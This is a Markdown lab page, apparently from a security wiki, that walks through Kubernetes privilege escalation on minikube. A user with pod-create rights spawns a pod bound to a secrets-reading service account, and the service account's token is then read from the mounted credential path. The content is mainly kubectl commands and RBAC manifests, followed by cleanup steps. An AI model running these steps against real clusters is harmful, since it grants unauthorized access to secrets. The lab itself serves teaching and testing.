109 lines
3.4 KiB
Markdown
109 lines
3.4 KiB
Markdown
# K8s Roles Abuse Lab
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You can run this lab just inside **minikube**.
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We are going to create:
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* A **Service account "test-sa"** with a cluster privilege to **read secrets**
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* A ClusterRole "test-cr" and a ClusterRoleBinding "test-crb" will be created
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* **Permissions** to list and **create** pods to a user called "**Test**" will be given
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* A Role "test-r" and RoleBinding "test-rb" will be created
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* Then we will **confirm** that the SA can list secrets and that the user Test can list a pods
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* Finally we will **impersonate the user Test** to **create a pod** that includes the **SA test-sa** and **steal** the service account **token.**
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* This is the way yo show the user could escalate privileges this way
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{% hint style="info" %}
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To create the scenario an admin account is used.\
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Moreover, to **exfiltrate the sa token** in this example the **admin account is used** to exec inside the created pod. However, [**as explained here**](./#pod-creation-steal-token), the **declaration of the pod could contain the exfiltration of the token**, so the "exec" privilege is not necesario to exfiltrate the token, the **"create" permission is enough**.
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{% endhint %}
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```bash
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# Create Service Account test-sa
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# Create role and rolebinding to give list and create permissions over pods in default namespace to user Test
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# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere
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echo 'apiVersion: v1
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kind: ServiceAccount
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metadata:
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name: test-sa
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---
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kind: Role
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apiVersion: rbac.authorization.k8s.io/v1
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metadata:
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name: test-r
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rules:
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- apiGroups: [""]
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resources: ["pods"]
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verbs: ["get", "list", "delete", "patch", "create"]
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---
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apiVersion: rbac.authorization.k8s.io/v1
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kind: RoleBinding
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metadata:
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name: test-rb
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subjects:
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- kind: ServiceAccount
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name: test-sa
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- kind: User
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name: Test
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roleRef:
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kind: Role
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name: test-r
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apiGroup: rbac.authorization.k8s.io
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---
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kind: ClusterRole
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apiVersion: rbac.authorization.k8s.io/v1
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metadata:
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name: test-cr
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rules:
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- apiGroups: [""]
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resources: ["secrets"]
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verbs: ["get", "list", "delete", "patch", "create"]
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---
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apiVersion: rbac.authorization.k8s.io/v1
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kind: ClusterRoleBinding
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metadata:
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name: test-crb
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subjects:
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- kind: ServiceAccount
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namespace: default
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name: test-sa
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apiGroup: ""
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roleRef:
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kind: ClusterRole
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name: test-cr
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apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
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# Check test-sa can access kube-system secrets
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kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets
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# Check user User can get pods in namespace default
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kubectl --as Test -n default get pods
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# Create a pod as user Test with the SA test-sa (privesc step)
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echo "apiVersion: v1
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kind: Pod
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metadata:
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name: test-pod
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namespace: default
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spec:
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containers:
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- name: alpine
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image: alpine
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command: ['/bin/sh']
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args: ['-c', 'sleep 100000']
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serviceAccountName: test-sa
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automountServiceAccountToken: true
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hostNetwork: true"| kubectl --as Test apply -f -
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# Connect to the pod created an confirm the attached SA token belongs to test-sa
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kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
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# Clean the scenario
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kubectl delete pod test-pod
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kubectl delete clusterrolebinding test-crb
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kubectl delete clusterrole test-cr
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kubectl delete rolebinding test-rb
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kubectl delete role test-r
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kubectl delete serviceaccount test-sa
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```
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